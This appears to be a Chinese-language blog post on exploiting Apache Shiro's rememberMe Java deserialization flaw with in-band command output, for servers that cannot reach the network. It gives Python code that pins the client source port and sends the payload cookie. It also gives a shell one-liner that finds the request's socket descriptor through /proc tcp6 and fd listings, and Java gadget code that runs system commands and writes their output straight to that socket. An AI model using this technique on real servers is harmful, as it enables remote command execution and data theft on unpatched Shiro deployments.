一直觉得shiro反序列化是一个很舒服的洞,payload原生加密(无特征),做项目时有概率遇见并且又是java反序列化洞所以危害又很大。不过尽管这样shiro打起来依然有java反序列化漏洞利用的两个痛点。其一是可用的gadget,其二是带内回显的问题(不出网回显)。不过某天在刷tw的时候发现第二个痛点国内已经有大佬解决了。
注意看图,shiro的回显并不在http响应包中而是在http响应包之前,很玄学的回显对吧?联想最近在看了一篇文章通杀漏洞利用回显方法-linux平台,按我的理解这篇文章的思路大致是通过java反序列化执行java代码&&系统命令获取到发起这次请求时对应的服务端socket文件描述符,然后在文件描述符写入回显内容。上图的回显效果和这种思路非常相似。
实现这种技术的难点在于如何通过java反序列化执行代码获取本次http请求用到socket的文件描述符(服务器对外开放的时fd下会有很多socket描述符)。
这里给出获取socket文件描述符我的一个低配版思路及实现,至于为啥是低配版会在文章最后提到。首先注意到socket后面的数字不同,这个数字实际上是inode号。这个inode号也出现在/proc/net/tcp中。
注意到每一个inode号对应唯一条tcp连接信息,并且这条信息中的remote_address项记录了远程连接的ip和端口号。说到这里其实获取socket思路就很明显了:通过指定客户端发起请求的源端口号,通过cat grep awk组合大法在tcp表中拿到inode,用拿到的inode号再去fd目录下再用cat grep wak大法拿到文件描述符的数字,再调用java代码打开文件描述符即可实现带内回显。
requests库可以重新实现Http达到指定请求端口的目的。
class SourcePortAdapter(HTTPAdapter): """"Transport adapter" that allows us to set the source port.""" def __init__(self, port, *args, **kwargs): self._source_port = port super(SourcePortAdapter, self).__init__(*args, **kwargs) def init_poolmanager(self, connections, maxsize, block=False): self.poolmanager = PoolManager( num_pools=connections, maxsize=maxsize, block=block, source_address=('', self._source_port)) s = requests.Session() s.mount(target, SourcePortAdapter(randNum)) resp = s.get(target, cookies={'rememberMe': base64_ciphertext.decode()}, timeout=5, headers=headers, verify=False)
整个流程使用的命令如下
a=`cat /proc/$PPID/net/tcp6|awk '{if($10>0)print}'|grep -i %s|awk '{print $10}'`; b=`ls -l /proc/$PPID/fd|grep $a|awk '{print $9}'`; echo -n $b
现在假设shiro存在反序列化并且所用gadget的末端是走的TemplatesImpl,那么我们可以把ysoserial中的硬编码的命令执行改成下面这样的代码执行。
String[] cmd = { "/bin/sh", "-c", "a=`cat /proc/$PPID/net/tcp6|awk '{if($10>0)print}'|grep -i %s|awk '{print $10}'`;b=`ls -l /proc/$PPID/fd|grep $a|awk '{print $9}'`;echo -n $b"}; java.io.InputStream in = Runtime.getRuntime().exec(cmd).getInputStream(); java.io.InputStreamReader isr = new java.io.InputStreamReader(in); java.io.BufferedReader br = new java.io.BufferedReader(isr); StringBuilder stringBuilder = new StringBuilder(); String line; while ((line = br.readLine()) != null){ stringBuilder.append(line); } int num = Integer.valueOf(stringBuilder.toString()).intValue(); cmd = new String[]{"/bin/sh","-c","ifconfig"}; in = Runtime.getRuntime().exec(cmd).getInputStream(); isr = new java.io.InputStreamReader(in); br = new java.io.BufferedReader(isr); stringBuilder = new StringBuilder(); while ((line = br.readLine()) != null){ stringBuilder.append(line); } String ret = stringBuilder.toString(); java.lang.reflect.Constructor c=java.io.FileDescriptor.class.getDeclaredConstructor(new Class[]{Integer.TYPE}); c.setAccessible(true); java.io.FileOutputStream os = new java.io.FileOutputStream((java.io.FileDescriptor)c.newInstance(new Object[]{new Integer(num)})); os.write(ret.getBytes()); os.close();
我这种低配版指令ifconfig后效果实现效果如下,服务端会直接返回数据并断掉连接,所以没有了后面http响应包,requests库无法识别返回的内容报错。